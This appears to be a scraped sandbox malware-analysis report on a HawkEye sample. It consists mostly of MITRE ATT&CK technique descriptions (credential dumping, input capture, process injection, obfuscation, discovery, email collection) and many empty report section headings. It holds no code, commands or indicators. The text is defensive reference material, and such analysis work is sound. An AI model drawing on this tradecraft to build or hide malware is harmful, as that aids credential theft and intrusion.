Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Data loss prevention, File monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	File monitoring, Process command-line parameters
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report ypBoHI5G3x

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: HawkEye

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Compliance:

Spreading:

Software Vulnerabilities:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre